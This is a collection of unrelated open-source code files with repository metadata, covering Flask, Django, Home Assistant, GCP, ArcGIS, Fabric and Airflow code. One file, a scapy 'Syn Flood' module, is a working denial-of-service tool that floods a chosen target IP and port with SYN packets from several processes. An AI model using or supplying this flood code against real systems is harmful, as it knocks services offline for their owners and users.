workflow = Workflow(self.to_yaml(workflow_dict))
workflow.validate(self.errors)
self.assertFalse(self.errors)
| {
"content_hash": "99f736ae186be5b708383848786af59a",
"timestamp": "",
"source": "github",
"line_count": 214,
"max_line_length": 80,
"avg_line_length": 40.546728971962615,
"alnum_prop": 0.6374322922669126,
"repo_name": "graemian/ami-mooc-pilot",
"id": "bfa1dc1f873c5436bb7c05ecf21e76f0e4d70b92",
"size": "9276",
"binary": false,
"copies": "5",
"ref": "refs/heads/master",
"path": "tests/unit/models_courses.py",
"mode": "33188",
"license": "apache-2.0",
"language": [
{
"name": "JavaScript",
"bytes": "196951"
},
{
"name": "Perl",
"bytes": "12672"
},
{
"name": "Python",
"bytes": "950098"
}
],
"symlink_target": ""
} |
import logging
# 3rd party libs
from flask import abort
from flask import Blueprint
from flask import g
from flask_api import status
# Own libs
from oneview_redfish_toolkit.api.computer_system import ComputerSystem
from oneview_redfish_toolkit.api.network_interface import NetworkInterface
from oneview_redfish_toolkit.blueprints.util.response_builder import \
ResponseBuilder
network_interface = Blueprint("network_interface", __name__)
@network_interface.route(
ComputerSystem.BASE_URI +
"/<server_profile_uuid>/NetworkInterfaces/<device_id>",
methods=["GET"])
def get_network_interface(server_profile_uuid, device_id):
"""Get the Redfish NetworkInterface for a given UUID and device_id.
Return NetworkInterface Redfish JSON for a given hardware UUID
and device_id.
Parameters:
server_profile_uuid: the UUID of the server profile
device_id: The id of the network device
Returns:
JSON: Redfish json with NetworkInterface
Exceptions:
When server profile or hardware is not found calls abort(404)
When other errors occur calls abort(500)
"""
try:
device_id_validation = int(device_id)
profile = g.oneview_client.server_profiles.get_by_id(
server_profile_uuid).data
server_hardware = g.oneview_client.server_hardware\
.get_by_uri(profile["serverHardwareUri"]).data
if (device_id_validation - 1) < 0 or (device_id_validation - 1) >= \
len(server_hardware["portMap"]["deviceSlots"]):
abort(status.HTTP_404_NOT_FOUND,
"Network interface id {} not found.".format(device_id))
ni = NetworkInterface(device_id, profile, server_hardware)
return ResponseBuilder.success(ni)
except ValueError:
# Failed to convert device_id to int
logging.exception(
"Failed to convert device id {} to integer.".format(device_id))
abort(status.HTTP_404_NOT_FOUND, "Network interface not found")
| {
"content_hash": "9a4a679c6c46eeab7ea0e49f5ddac3a9",
"timestamp": "",
"source": "github",
"line_count": 61,
"max_line_length": 76,
"avg_line_length": 33.885245901639344,
"alnum_prop": 0.6729559748427673,
"repo_name": "HewlettPackard/oneview-redfish-toolkit",
"id": "3e9063b249eaea0f1eba7599f7f82a4dddfeb5ca",
"size": "2715",
"binary": false,
"copies": "1",
"ref": "refs/heads/master",
"path": "oneview_redfish_toolkit/blueprints/network_interface.py",
"mode": "33188",
"license": "apache-2.0",
"language": [
{
"name": "Batchfile",
"bytes": "284"
},
{
"name": "Python",
"bytes": "979438"
},
{
"name": "Shell",
"bytes": "866"
}
],
"symlink_target": ""
} |
from distutils.core import setup
setup(
name='createpyproject',
version='0.1.0',
author='Gennady Denisov',
author_email='denisovgena@gmail.com',
packages=['createpyproject', 'createpyproject.test'],
url='https://www.bitbucket.org/createpyproject',
license='LICENSE.txt',
description='My project to create pypy project',
long_description=open('README.txt').read(),
) | {
"content_hash": "d6feb0e9bce8d18c19ee8c5f6bb764e7",
"timestamp": "",
"source": "github",
"line_count": 13,
"max_line_length": 57,
"avg_line_length": 30.923076923076923,
"alnum_prop": 0.6965174129353234,
"repo_name": "geaden/createpyproject",
"id": "9bc011f9b4397c0d382ce8bb5de19dbc11d644e6",
"size": "402",
"binary": false,
"copies": "1",
"ref": "refs/heads/master",
"path": "setup.py",
"mode": "33188",
"license": "mit",
"language": [
{
"name": "Python",
"bytes": "7846"
}
],
"symlink_target": ""
} |
"""This package defines the url configuration for the cloning app.
All views in this app start from a request /cloning/cloning or /cloning/mutagenesis.
There are simple new, edit, delete, detail and list views for each of cloning and mutagenesis.
"""
'''This is the urlconf for protocol urls.'''
from django.conf.urls import *
from cloning import views
urlpatterns = patterns('',
url(r'^cloning/new/$', views.CloningCreate.as_view(), name="cloning-new"),
url(r'^cloning/(?P<pk>\d+)/$', views.CloningDetail.as_view(), name="cloning-detail"),
url(r'^cloning/(?P<pk>\d+)/edit$', views.CloningUpdate.as_view(), name="cloning-edit"),
url(r'^cloning/(?P<pk>\d+)/delete$', views.CloningDelete.as_view(), name="cloning-delete"),
url(r'^cloning/$', views.CloningList.as_view(), name="cloning-list"),
url(r'^mutagenesis/new/$', views.MutagenesisCreate.as_view(), name="mutagenesis-new"),
url(r'^mutagenesis/(?P<pk>\d+)/$', views.MutagenesisDetail.as_view(), name="mutagenesis-detail"),
url(r'^mutagenesis/(?P<pk>\d+)/edit$', views.MutagenesisUpdate.as_view(), name="mutagenesis-edit"),
url(r'^mutagenesis/(?P<pk>\d+)/delete$', views.MutagenesisDelete.as_view(), name="mutagenesis-delete"),
url(r'^mutagenesis/$', views.MutagenesisList.as_view(), name="mutagenesis-list"),
)
| {
"content_hash": "cf5118df2b896cdbf13f2ff5b86c7c0b",
"timestamp": "",
"source": "github",
"line_count": 25,
"max_line_length": 104,
"avg_line_length": 51.84,
"alnum_prop": 0.6975308641975309,
"repo_name": "davebridges/ExperimentDB",
"id": "93e0667e56a14b21e12ad41ad26714cec89a3d74",
"size": "1296",
"binary": false,
"copies": "1",
"ref": "refs/heads/master",
"path": "cloning/urls.py",
"mode": "33188",
"license": "bsd-3-clause",
"language": [
{
"name": "ActionScript",
"bytes": "3273"
},
{
"name": "CSS",
"bytes": "171399"
},
{
"name": "JavaScript",
"bytes": "858989"
},
{
"name": "PHP",
"bytes": "21302"
},
{
"name": "Python",
"bytes": "247551"
},
{
"name": "Shell",
"bytes": "6713"
}
],
"symlink_target": ""
} |
"""This platform allows several cover to be grouped into one cover."""
import logging
from typing import Dict, Optional, Set
import voluptuous as vol
from homeassistant.components.cover import (
ATTR_CURRENT_POSITION,
ATTR_CURRENT_TILT_POSITION,
ATTR_POSITION,
ATTR_TILT_POSITION,
DOMAIN,
PLATFORM_SCHEMA,
SERVICE_CLOSE_COVER,
SERVICE_CLOSE_COVER_TILT,
SERVICE_OPEN_COVER,
SERVICE_OPEN_COVER_TILT,
SERVICE_SET_COVER_POSITION,
SERVICE_SET_COVER_TILT_POSITION,
SERVICE_STOP_COVER,
SERVICE_STOP_COVER_TILT,
SUPPORT_CLOSE,
SUPPORT_CLOSE_TILT,
SUPPORT_OPEN,
SUPPORT_OPEN_TILT,
SUPPORT_SET_POSITION,
SUPPORT_SET_TILT_POSITION,
SUPPORT_STOP,
SUPPORT_STOP_TILT,
CoverDevice,
)
from homeassistant.const import (
ATTR_ASSUMED_STATE,
ATTR_ENTITY_ID,
ATTR_SUPPORTED_FEATURES,
CONF_ENTITIES,
CONF_NAME,
STATE_CLOSED,
)
from homeassistant.core import State, callback
import homeassistant.helpers.config_validation as cv
from homeassistant.helpers.event import async_track_state_change
# mypy: allow-incomplete-defs, allow-untyped-calls, allow-untyped-defs
# mypy: no-check-untyped-defs
_LOGGER = logging.getLogger(__name__)
KEY_OPEN_CLOSE = "open_close"
KEY_STOP = "stop"
KEY_POSITION = "position"
DEFAULT_NAME = "Cover Group"
PLATFORM_SCHEMA = PLATFORM_SCHEMA.extend(
{
vol.Optional(CONF_NAME, default=DEFAULT_NAME): cv.string,
vol.Required(CONF_ENTITIES): cv.entities_domain(DOMAIN),
}
)
async def async_setup_platform(hass, config, async_add_entities, discovery_info=None):
"""Set up the Group Cover platform."""
async_add_entities([CoverGroup(config[CONF_NAME], config[CONF_ENTITIES])])
class CoverGroup(CoverDevice):
"""Representation of a CoverGroup."""
def __init__(self, name, entities):
"""Initialize a CoverGroup entity."""
self._name = name
self._is_closed = False
self._cover_position: Optional[int] = 100
self._tilt_position = None
self._supported_features = 0
self._assumed_state = True
self._entities = entities
self._covers: Dict[str, Set[str]] = {
KEY_OPEN_CLOSE: set(),
KEY_STOP: set(),
KEY_POSITION: set(),
}
self._tilts: Dict[str, Set[str]] = {
KEY_OPEN_CLOSE: set(),
KEY_STOP: set(),
KEY_POSITION: set(),
}
@callback
def update_supported_features(
self,
entity_id: str,
old_state: Optional[State],
new_state: Optional[State],
update_state: bool = True,
) -> None:
"""Update dictionaries with supported features."""
if not new_state:
for values in self._covers.values():
values.discard(entity_id)
for values in self._tilts.values():
values.discard(entity_id)
if update_state:
self.async_schedule_update_ha_state(True)
return
features = new_state.attributes.get(ATTR_SUPPORTED_FEATURES, 0)
if features & (SUPPORT_OPEN | SUPPORT_CLOSE):
self._covers[KEY_OPEN_CLOSE].add(entity_id)
else:
self._covers[KEY_OPEN_CLOSE].discard(entity_id)
if features & (SUPPORT_STOP):
self._covers[KEY_STOP].add(entity_id)
else:
self._covers[KEY_STOP].discard(entity_id)
if features & (SUPPORT_SET_POSITION):
self._covers[KEY_POSITION].add(entity_id)
else:
self._covers[KEY_POSITION].discard(entity_id)
if features & (SUPPORT_OPEN_TILT | SUPPORT_CLOSE_TILT):
self._tilts[KEY_OPEN_CLOSE].add(entity_id)
else:
self._tilts[KEY_OPEN_CLOSE].discard(entity_id)
if features & (SUPPORT_STOP_TILT):
self._tilts[KEY_STOP].add(entity_id)
else:
self._tilts[KEY_STOP].discard(entity_id)
if features & (SUPPORT_SET_TILT_POSITION):
self._tilts[KEY_POSITION].add(entity_id)
else:
self._tilts[KEY_POSITION].discard(entity_id)
if update_state:
self.async_schedule_update_ha_state(True)
async def async_added_to_hass(self):
"""Register listeners."""
for entity_id in self._entities:
new_state = self.hass.states.get(entity_id)
self.update_supported_features(
entity_id, None, new_state, update_state=False
)
async_track_state_change(
self.hass, self._entities, self.update_supported_features
)
await self.async_update()
@property
def name(self):
"""Return the name of the cover."""
return self._name
@property
def assumed_state(self):
"""Enable buttons even if at end position."""
return self._assumed_state
@property
def should_poll(self):
"""Disable polling for cover group."""
return False
@property
def supported_features(self):
"""Flag supported features for the cover."""
return self._supported_features
@property
def is_closed(self):
"""Return if all covers in group are closed."""
return self._is_closed
@property
def current_cover_position(self) -> Optional[int]:
"""Return current position for all covers."""
return self._cover_position
@property
def current_cover_tilt_position(self):
"""Return current tilt position for all covers."""
return self._tilt_position
async def async_open_cover(self, **kwargs):
"""Move the covers up."""
data = {ATTR_ENTITY_ID: self._covers[KEY_OPEN_CLOSE]}
await self.hass.services.async_call(
DOMAIN, SERVICE_OPEN_COVER, data, blocking=True
)
async def async_close_cover(self, **kwargs):
"""Move the covers down."""
data = {ATTR_ENTITY_ID: self._covers[KEY_OPEN_CLOSE]}
await self.hass.services.async_call(
DOMAIN, SERVICE_CLOSE_COVER, data, blocking=True
)
async def async_stop_cover(self, **kwargs):
"""Fire the stop action."""
data = {ATTR_ENTITY_ID: self._covers[KEY_STOP]}
await self.hass.services.async_call(
DOMAIN, SERVICE_STOP_COVER, data, blocking=True
)
async def async_set_cover_position(self, **kwargs):
"""Set covers position."""
data = {
ATTR_ENTITY_ID: self._covers[KEY_POSITION],
ATTR_POSITION: kwargs[ATTR_POSITION],
}
await self.hass.services.async_call(
DOMAIN, SERVICE_SET_COVER_POSITION, data, blocking=True
)
async def async_open_cover_tilt(self, **kwargs):
"""Tilt covers open."""
data = {ATTR_ENTITY_ID: self._tilts[KEY_OPEN_CLOSE]}
await self.hass.services.async_call(
DOMAIN, SERVICE_OPEN_COVER_TILT, data, blocking=True
)
async def async_close_cover_tilt(self, **kwargs):
"""Tilt covers closed."""
data = {ATTR_ENTITY_ID: self._tilts[KEY_OPEN_CLOSE]}
await self.hass.services.async_call(
DOMAIN, SERVICE_CLOSE_COVER_TILT, data, blocking=True
)
async def async_stop_cover_tilt(self, **kwargs):
"""Stop cover tilt."""
data = {ATTR_ENTITY_ID: self._tilts[KEY_STOP]}
await self.hass.services.async_call(
DOMAIN, SERVICE_STOP_COVER_TILT, data, blocking=True
)
async def async_set_cover_tilt_position(self, **kwargs):
"""Set tilt position."""
data = {
ATTR_ENTITY_ID: self._tilts[KEY_POSITION],
ATTR_TILT_POSITION: kwargs[ATTR_TILT_POSITION],
}
await self.hass.services.async_call(
DOMAIN, SERVICE_SET_COVER_TILT_POSITION, data, blocking=True
)
async def async_update(self):
"""Update state and attributes."""
self._assumed_state = False
self._is_closed = True
for entity_id in self._entities:
state = self.hass.states.get(entity_id)
if not state:
continue
if state.state != STATE_CLOSED:
self._is_closed = False
break
self._cover_position = None
if self._covers[KEY_POSITION]:
position = -1
self._cover_position = 0 if self.is_closed else 100
for entity_id in self._covers[KEY_POSITION]:
state = self.hass.states.get(entity_id)
pos = state.attributes.get(ATTR_CURRENT_POSITION)
if position == -1:
position = pos
elif position != pos:
self._assumed_state = True
break
else:
if position != -1:
self._cover_position = position
self._tilt_position = None
if self._tilts[KEY_POSITION]:
position = -1
self._tilt_position = 100
for entity_id in self._tilts[KEY_POSITION]:
state = self.hass.states.get(entity_id)
pos = state.attributes.get(ATTR_CURRENT_TILT_POSITION)
if position == -1:
position = pos
elif position != pos:
self._assumed_state = True
break
else:
if position != -1:
self._tilt_position = position
supported_features = 0
supported_features |= (
SUPPORT_OPEN | SUPPORT_CLOSE if self._covers[KEY_OPEN_CLOSE] else 0
)
supported_features |= SUPPORT_STOP if self._covers[KEY_STOP] else 0
supported_features |= SUPPORT_SET_POSITION if self._covers[KEY_POSITION] else 0
supported_features |= (
SUPPORT_OPEN_TILT | SUPPORT_CLOSE_TILT if self._tilts[KEY_OPEN_CLOSE] else 0
)
supported_features |= SUPPORT_STOP_TILT if self._tilts[KEY_STOP] else 0
supported_features |= (
SUPPORT_SET_TILT_POSITION if self._tilts[KEY_POSITION] else 0
)
self._supported_features = supported_features
if not self._assumed_state:
for entity_id in self._entities:
state = self.hass.states.get(entity_id)
if state and state.attributes.get(ATTR_ASSUMED_STATE):
self._assumed_state = True
break
| {
"content_hash": "489723a643fffe14de31ae200ffd7a59",
"timestamp": "",
"source": "github",
"line_count": 316,
"max_line_length": 88,
"avg_line_length": 33.2373417721519,
"alnum_prop": 0.5843092449776255,
"repo_name": "leppa/home-assistant",
"id": "d9efdfa53c692c4f7bb7ddb1e7148ee82af607c6",
"size": "10503",
"binary": false,
"copies": "3",
"ref": "refs/heads/dev",
"path": "homeassistant/components/group/cover.py",
"mode": "33188",
"license": "apache-2.0",
"language": [
{
"name": "Python",
"bytes": "18957740"
},
{
"name": "Shell",
"bytes": "6846"
}
],
"symlink_target": ""
} |
"""DNA - Service template - Main service module.
Main methods to handle the service tasks.
"""
import base64
import json
import logging
import random
import sys
from dna_general_settings import GDS_KIND_LOG_SERVICE
from dna_logging import configure_logging
from dna_project_settings import PROJECT_ID
from gcp_connector import GCPConnector
from gcp_connector import GCPTable
from service_template_settings import DATA_SCHEMA
from service_template_settings import GBQ_DATASET
from service_template_settings import GBQ_TABLE
from service_template_settings import SERVICE_NAME
from utils import TextUtils
configure_logging()
logger = logging.getLogger('service-template')
def load(gcp, source_table, params):
"""Load transformed data onto Google Cloud Platform.
Args:
gcp: GCPConnector object.
source_table: GCPTable object containing the transformed data.
params: dictionary containing all relevant GCP parameters.
Returns:
The BigQuery job id.
"""
assert isinstance(gcp, GCPConnector)
assert isinstance(source_table, GCPTable)
bucket = params['bucket']
filename = params['filename']
dataset = params['dataset']
table = params['table']
# Upload data onto a specified Google Cloud Storage bucket/filename.
gcsuri = gcp.gcs_uploadtable(source_table, bucket, filename)
# Create a BigQuery job to transfer uploaded data from GCS to a BQ table.
if params['append']:
# If append is "True" append transformed data to the table
job_id = gcp.bq_importfromgcs(
gcsuri=gcsuri,
dataset=dataset,
table=table,
schema=source_table.schema,
encoding=source_table.encoding,
writemode='WRITE_APPEND')
else:
# Otherwise overwrite (or create a new) table
job_id = gcp.bq_importfromgcs(
gcsuri=gcsuri,
dataset=dataset,
table=table,
schema=source_table.schema,
encoding=source_table.encoding)
return job_id
def service_task(gcp, params):
"""Main ETL job, putting together all ETL functions to implement the service.
Args:
gcp: GCPConnector object.
params: dictionary containing all parameters relevant for the ETL task.
Returns:
The BigQuery job id.
"""
# Initiate a GCPTable object (to be used for data ingestion) using the
# appropriate data schema.
dest_table = GCPTable(params['schema'])
# Extract (and eventually transform) data - in this template we're just using
# dummy random data.
random_number = random.randint(1, 10)
raw_data = [[params['account_id'], params['label'], random_number]]
# Ingest the data.
dest_table.ingest(raw_data, True, False)
# Load data to GCP.
job_id = load(gcp, dest_table, params)
return job_id
def main(argv):
"""Main function reading the task and launching the corresponding ETL job.
Args:
argv: array of parameters: (1) queue name, (2) task id.
"""
# Get input arguments passed by the initial shell script.
queue_name = str(argv[1])
task_name = str(argv[2])
# Initiate connectors for Google Cloud Platform (and DCM/DBM/DS as needed).
gcp = GCPConnector(PROJECT_ID)
# Get the first available task from the queue.
task = gcp.gct_gettask(task_name)
payload = task['pullMessage']['payload']
params = json.loads(base64.urlsafe_b64decode(str(payload)))
# Add service-specific params.
params['schema'] = DATA_SCHEMA
params['filename'] = TextUtils.timestamp() + '_' + str(
params['account_id']) + '.csv'
params['dataset'] = GBQ_DATASET
params['table'] = GBQ_TABLE
params['append'] = True
# Log run info as Datastore entity.
run_entity = gcp.gds_insert(
kind=GDS_KIND_LOG_SERVICE,
attributes={
'created': TextUtils.timestamp().decode(),
'service': params['service'].decode(),
'status': u'RUNNING',
'error': None,
'bqjob': None,
'bqstatus': None,
})
try:
# Run the ETL task and updates the Datastore entity status.
job_id = service_task(gcp, params)
run_entity['bqjob'] = job_id.decode()
run_entity['bqstatus'] = u'RUNNING'
run_entity['status'] = u'DONE'
# pylint: disable=broad-except
except Exception as e:
run_entity['status'] = u'FAILED'
run_entity['error'] = str(e).decode()
logger.error(
'[%s] - The following error occurs while executing task <%s> : <%s>',
SERVICE_NAME, task_name, str(e))
finally:
gcp.gds_update(run_entity)
# pylint: enable=broad-except
if __name__ == '__main__':
main(sys.argv)
| {
"content_hash": "335fd5e242626687db12c9f91a19a255",
"timestamp": "",
"source": "github",
"line_count": 155,
"max_line_length": 79,
"avg_line_length": 29.193548387096776,
"alnum_prop": 0.6844198895027624,
"repo_name": "google/dnae",
"id": "a4ff67feee27ecd3aa156489b69dfd0690b1803d",
"size": "5102",
"binary": false,
"copies": "1",
"ref": "refs/heads/master",
"path": "services/service-template/service_template_run.py",
"mode": "33188",
"license": "apache-2.0",
"language": [
{
"name": "Python",
"bytes": "141269"
},
{
"name": "Shell",
"bytes": "6028"
}
],
"symlink_target": ""
} |
from __future__ import unicode_literals
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('core', '0022_add_error_fields'),
]
operations = [
migrations.RemoveField(
model_name='layer',
name='thumb_large',
),
migrations.RemoveField(
model_name='layer',
name='thumb_small',
),
migrations.RemoveField(
model_name='layerimage',
name='thumb_large',
),
migrations.RemoveField(
model_name='layerimage',
name='thumb_small',
),
migrations.AddField(
model_name='layer',
name='thumb_large_key',
field=models.CharField(default='', help_text='400x150 pixels', max_length=255, blank=True),
),
migrations.AddField(
model_name='layer',
name='thumb_small_key',
field=models.CharField(default='', help_text='80x80 pixels', max_length=255, blank=True),
),
migrations.AddField(
model_name='layerimage',
name='thumb_large_key',
field=models.CharField(default='', help_text='300x300 pixels', max_length=255, blank=True),
),
migrations.AddField(
model_name='layerimage',
name='thumb_small_key',
field=models.CharField(default='', help_text='80x80 pixels', max_length=255, blank=True),
),
migrations.AlterField(
model_name='layer',
name='status',
field=models.CharField(default='created', help_text='Processing workflow status of the layer', max_length=12, blank=True, choices=[('created', 'Created'), ('uploaded', 'Uploaded'), ('validated', 'Validated'), ('thumbnailed', 'Thumbnailed'), ('processing', 'Processing'), ('failed', 'Failed'), ('completed', 'Completed')]),
),
migrations.AlterField(
model_name='layerimage',
name='status',
field=models.CharField(default='created', help_text='Image processing workflow status of the image', max_length=12, blank=True, choices=[('created', 'Created'), ('uploaded', 'Uploaded'), ('valid', 'Valid'), ('invalid', 'Invalid'), ('thumbnailed', 'Thumbnailed')]),
),
]
| {
"content_hash": "ffbb8efdda7e97ee9659de638c55b8f4",
"timestamp": "",
"source": "github",
"line_count": 59,
"max_line_length": 334,
"avg_line_length": 39.50847457627118,
"alnum_prop": 0.5688545688545689,
"repo_name": "kdeloach/raster-foundry",
"id": "6482b56836ea7ed8bdaa2c9ad9140d7a5242ec1c",
"size": "2355",
"binary": false,
"copies": "1",
"ref": "refs/heads/develop",
"path": "src/rf/apps/core/migrations/0023_update_thumbs_status.py",
"mode": "33188",
"license": "apache-2.0",
"language": [
{
"name": "CSS",
"bytes": "125238"
},
{
"name": "HTML",
"bytes": "146101"
},
{
"name": "JavaScript",
"bytes": "146746"
},
{
"name": "Python",
"bytes": "261223"
},
{
"name": "Ruby",
"bytes": "1213"
},
{
"name": "Shell",
"bytes": "10179"
}
],
"symlink_target": ""
} |
from capability import *
from scapy.all import *
import multiprocessing
class Syn(Capability):
def __init__(self, core):
super(Syn, self).__init__(core)
self.name = "Syn Flood"
self.options = {
"port" : Option("port", 80, "port to flood", True),
"target" : Option("target", "", "IP of target to attack", True),
"inter" : Option("inter", 0.3, "Interval between sending packets", True),
"threads": Option("threads", 3, "Number of threads", True),
"verbose": Option("verbose", 1, "Verbosity - 3 will show all packets", True),
}
self.help_text = INFO + "Sends tons of packets to an IP in the hopes of DOSing the computer."
def exec_command(self, comm):
self.core.cur.execute(comm)
return self.core.cur.fetchall()[0][0]
def flood(self):
p = IP(dst=self.get_value("target"), id=1111, ttl=99)/TCP(sport=RandShort(), dport=int(self.get_value("port")), seq=12345, ack=1000, window=1000, flags="S")/"Payload"
ans, unans = srloop(p, inter=float(self.get_value("inter")), retry=2, timeout=4, verbose=int(self.get_value("verbose")))
def launch(self):
self.threads = []
print "Type 'restore' when ready to stop the attack.'"
for i in range(1, int(self.get_value("threads"))+1):
#print "Beginning thread" + str(i)
self.threads.append(multiprocessing.Process(target=self.flood, args=()))
self.threads[i-1].start()
def restore(self):
for i in range(1, int(self.get_value("threads"))+1):
self.threads[i-1].terminate()
#print "Terminating thread " + str(i)
| {
"content_hash": "de521e9d7970f51a949879fdd42bef0a",
"timestamp": "",
"source": "github",
"line_count": 38,
"max_line_length": 174,
"avg_line_length": 45.473684210526315,
"alnum_prop": 0.5792824074074074,
"repo_name": "ecthros/pina-colada",
"id": "a0292c059a7cfde4f9a7f728c05d2d18df2d67fa",
"size": "1728",
"binary": false,
"copies": "1",
"ref": "refs/heads/master",
"path": "capabilities/dos/syn.py",
"mode": "33188",
"license": "mit",
"language": [
{
"name": "CSS",
"bytes": "2322"
},
{
"name": "HTML",
"bytes": "6877"
},
{
"name": "Python",
"bytes": "84605"
}
],
"symlink_target": ""
} |
"""Represents the ArcGIS online REST APIs"""
from . import compat, server
__all__ = ['AGORoot', 'Community', 'Content', 'Portals']
class AGORoot(server.RestURL):
def __init__(self, url, username=None, password=None,
token=None, generate_token=False,
expiration=60):
url_list = list(compat.urlsplit(url))
if not url_list[2].endswith('/'):
url_list[2] += "/"
url = compat.urlunsplit(url_list)
if username is not None and password is not None:
self._pwdmgr.add_password(None,
url,
username,
password)
if token:
self.__token__ = token
elif generate_token:
self.__generateToken(url, username, password, expiration)
super(AGORoot, self).__init__(url)
def search(self, q=None, bbox=None, start=None, num=None,
sortField=None, sortOrder=None):
return self._get_subfolder("./search",
server.JsonPostResult,
{'q': q,
'bbox': bbox,
'start': start,
'num': num,
'sortField': sortField,
'sortOrder': sortOrder})
@property
def community(self):
return self._get_subfolder("./community/", Community)
@property
def content(self):
return self._get_subfolder("./content/", Content)
@property
def portals(self):
return self._get_subfolder("./portals/", Portals)
class Community(server.RestURL):
pass
class Content(server.RestURL):
pass
class Portals(server.RestURL):
pass
| {
"content_hash": "ddf4eedd82594ad83ce54f016285f93f",
"timestamp": "",
"source": "github",
"line_count": 52,
"max_line_length": 69,
"avg_line_length": 36.53846153846154,
"alnum_prop": 0.4789473684210526,
"repo_name": "jasonbot/arcrest",
"id": "acee3ee119b70828fd38143dc501c895e6e80a42",
"size": "1916",
"binary": false,
"copies": "1",
"ref": "refs/heads/master",
"path": "arcrest/ago.py",
"mode": "33188",
"license": "apache-2.0",
"language": [
{
"name": "Python",
"bytes": "419922"
},
{
"name": "Shell",
"bytes": "179"
}
],
"symlink_target": ""
} |
"""
Copyright 2013-2014 Rackspace
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
"""
from setuptools import setup, find_packages
# Normal setup stuff
setup(
name='ddtest',
version='0.0.1',
description='Adds data driven test capabilities to unittest tests.',
author='Jose Idar',
author_email='jose.idar@racksapce.com',
packages=find_packages(),
zip_safe=False,
classifiers=(
'Development Status :: 4 - Beta',
'Intended Audience :: Developers',
'Natural Language :: English',
'License :: Other/Proprietary License',
'Operating System :: POSIX :: Linux',
'Programming Language :: Python',
'Programming Language :: Python :: 2.7',
))
| {
"content_hash": "d0be16517b7ec4a3bd8307cee3ef9a19",
"timestamp": "",
"source": "github",
"line_count": 35,
"max_line_length": 72,
"avg_line_length": 34.31428571428572,
"alnum_prop": 0.7002497918401333,
"repo_name": "jidar/ddtest",
"id": "e654fbdb9b44b9ef63af29e8f402a8af09b53c44",
"size": "1201",
"binary": false,
"copies": "1",
"ref": "refs/heads/master",
"path": "setup.py",
"mode": "33188",
"license": "apache-2.0",
"language": [
{
"name": "Python",
"bytes": "9159"
}
],
"symlink_target": ""
} |
from StringIO import StringIO
from fabric import api
from fabric.contrib.files import exists
UPSTART_TEMPLATE = """
description "Temperature, Humidity, Pressure, & Luminosity Reporter"
start on runlevel [2345]
stop on runlevel [06]
respawn
respawn limit 10 5
env AWS_ACCESS_KEY_ID={aws_access_key_id}
env AWS_SECRET_ACCESS_KEY={aws_secret_access_key}
script
cd /opt/{local_repo_name} && sudo -E python main.py
end script
"""
UPSTART_FILE_NAME = 'pi-thpl-reporter.conf'
UPSTART_DIRECTORY = '/etc/init'
UPSTART_FILE_PATH = '{0}/{1}'.format(UPSTART_DIRECTORY, UPSTART_FILE_NAME)
UPSTART_SERVICE_NAME = UPSTART_FILE_NAME.split('.')[0]
REMOTE_REPO = 'https://github.com/projectweekend/Pi-DynamoDB-Reporter.git'
LOCAL_INSTALL_DIRECTORY = '/opt'
LOCAL_REPO_NAME = UPSTART_SERVICE_NAME
LOCAL_REPO_PATH = '{0}/{1}'.format(LOCAL_INSTALL_DIRECTORY, LOCAL_REPO_NAME)
START_SERVICE = 'service {0} start'.format(UPSTART_SERVICE_NAME)
STOP_SERVICE = 'service {0} stop'.format(UPSTART_SERVICE_NAME)
INSTALL_DEPENDENCIES = 'pip install -r requirements.txt'
def raspberry_pi():
api.env.hosts = ['{0}.local'.format(api.prompt('RPi Hostname:'))]
api.env.user = 'pi'
def install():
api.require('hosts', provided_by=[raspberry_pi])
if exists(UPSTART_FILE_PATH, use_sudo=True):
print('"{0}" is already installed, use "update" to deploy changes'.format(UPSTART_SERVICE_NAME))
return
upstart_values = {}
upstart_values['aws_access_key_id'] = api.prompt('AWS_ACCESS_KEY_ID:')
upstart_values['aws_secret_access_key'] = api.prompt('AWS_SECRET_ACCESS_KEY:')
upstart_values['local_repo_name'] = LOCAL_REPO_NAME
upstart_file = StringIO(UPSTART_TEMPLATE.format(**upstart_values))
api.sudo('echo Yes, do as I say! | apt-get -y --force-yes install upstart')
with api.cd(UPSTART_DIRECTORY):
upload = api.put(upstart_file, UPSTART_FILE_NAME, use_sudo=True)
assert upload.succeeded
with api.cd(LOCAL_INSTALL_DIRECTORY):
api.sudo('git clone {0} {1}'.format(REMOTE_REPO, LOCAL_REPO_NAME))
with api.cd(LOCAL_REPO_PATH):
api.sudo(INSTALL_DEPENDENCIES)
api.sudo(START_SERVICE)
def update():
api.require('hosts', provided_by=[raspberry_pi])
with api.settings(warn_only=True):
api.sudo(STOP_SERVICE)
with api.cd(LOCAL_REPO_PATH):
api.sudo('git pull origin master')
api.sudo(INSTALL_DEPENDENCIES)
api.sudo(START_SERVICE)
| {
"content_hash": "69137e41067042903c4adb58f543a061",
"timestamp": "",
"source": "github",
"line_count": 76,
"max_line_length": 104,
"avg_line_length": 32.21052631578947,
"alnum_prop": 0.6936274509803921,
"repo_name": "projectweekend/Pi-DynamoDB-Reporter",
"id": "44a759e2f9b4a176757c4846aa3b3a6e993cab97",
"size": "2448",
"binary": false,
"copies": "1",
"ref": "refs/heads/master",
"path": "fabfile.py",
"mode": "33188",
"license": "mit",
"language": [
{
"name": "Python",
"bytes": "1220"
}
],
"symlink_target": ""
} |
import unittest
from unittest import mock
from airflow.providers.amazon.aws.hooks.dms import DmsHook
from airflow.providers.amazon.aws.operators.dms_start_task import DmsStartTaskOperator
TASK_ARN = 'test_arn'
TASK_DATA = {
'replication_task_id': 'task_id',
'source_endpoint_arn': 'source_endpoint',
'target_endpoint_arn': 'target_endpoint',
'replication_instance_arn': 'replication_arn',
'migration_type': 'full-load',
'table_mappings': {},
}
class TestDmsStartTaskOperator(unittest.TestCase):
def test_init(self):
dms_operator = DmsStartTaskOperator(task_id='start_task', replication_task_arn=TASK_ARN)
assert dms_operator.replication_task_arn == TASK_ARN
assert dms_operator.start_replication_task_type == 'start-replication'
@mock.patch.object(DmsHook, 'get_task_status', side_effect=("starting",))
@mock.patch.object(DmsHook, 'start_replication_task')
@mock.patch.object(DmsHook, 'create_replication_task', return_value=TASK_ARN)
@mock.patch.object(DmsHook, 'get_conn')
def test_start_task(
self, mock_conn, mock_create_replication_task, mock_start_replication_task, mock_get_task_status
):
dms_hook = DmsHook()
